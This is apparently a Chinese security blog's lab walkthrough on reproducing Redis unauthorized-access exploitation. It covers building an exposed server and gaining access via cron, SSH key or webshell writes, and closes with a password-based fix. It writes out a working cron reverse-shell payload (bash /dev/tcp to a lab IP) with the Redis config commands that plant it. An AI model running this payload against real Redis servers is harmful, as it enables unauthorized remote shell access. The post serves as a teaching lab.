【漏洞复现】通过Redis未授权访问漏洞获取权限

2022-11-11 15:32:35 浏览数 (1)

Hello,各位小伙伴大家好~

这里是复更的小编Monster~

因为不可抗因素停更了许久(才不是懒!)

之后准备更JAVA代码审计相关的内容~

今天先发一篇之前的底稿,一起来看看吧!

Part.1

环境搭建

客户端环境搭建

首先来搭建Redis客户端:

代码语言:javascript复制
wget http://download.redis.io/redis-stable.tar.gz

解压下载的压缩包:

代码语言:javascript复制
tar -zxf redis-stable.tar.gz

编译 redis-stable

编译完成之后,再将 src 目录下的redis-cli 拷贝到 /usr/bin/ 目录下一份,这样就可直接使用 redis-cli 了。

代码语言:javascript复制
cp ./src/redis-cli /usr/bin/

尝试运行客户端:

代码语言:javascript复制
Redis-cli -h

//安装完毕~

服务端环境搭建

下载Redis服务端:

代码语言:javascript复制
wget http://download.redis.io/releases/redis-4.0.4.tar.gz

解压下载的压缩包:

代码语言:javascript复制
tar xzf redis-4.0.4.tar.gz

编译 make:

//如果提示gcc和cc命令令未找到:/bin/sh: cc: command not found,则需要进行安装:

代码语言:javascript复制
yum -y install gcc gcc-c   libstdc  -devel

将src目录下的redis-server和redis-cli拷贝到/usr/bin目录:

将redis.conf拷贝到/etc/目录下:

修改/etc/redis.conf配置文件

注释掉本地访问,并设置保护模式为no:

//这样才能远程访问redis服务

如果不关闭保护模式,远程访问会禁止:

通过修改后的配置文件启动redis服务:

代码语言:javascript复制
redis-server /etc/redis.conf

完毕~

Part.2

漏洞复现

redis基本操作

尝试直接连接,并查看info信息:

//说明当前存在未授权访问,且可以远程访问

创建、查询、删除一个键值对:

Redis拿权限主要是利用redis写文件的功能,我们可以通过写入以下文件获取权限:

(1)写入计划任务反弹shell

(2)写入ssh公钥获取权限

(3)写入webshell获取权限

通过计划任务反弹shell

Kali开启监听:

写入文件需要有写权限,否则报错:

写入反弹shell:

代码语言:javascript复制
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.21.141/3344
0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

等待一分钟左右服务器成功上线:

//注意:执行ip addr等管理员命令需要指定/sbin/目录

写入ssh-keygen公钥获取权限

在kali上生成密钥对:

查看生成的公钥:

连接redis服务器,写入公钥:

设置备份路径以及文件名,写入:

通过ssh登陆目标主机:

成功~

写入webshell

这里以写入phpinfo()为例:

//用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

尝试访问,成功~

//写shell的前提是root权限,且知道绝对路径。

修复建议

修改配置文件,设置访问口令:

重启redis服务:

再次访问,则会提示权限不够:

通过口令才能进行访问,修复完毕~:

Part.3

结语

以上就是今天的全部内容啦~

0 人点赞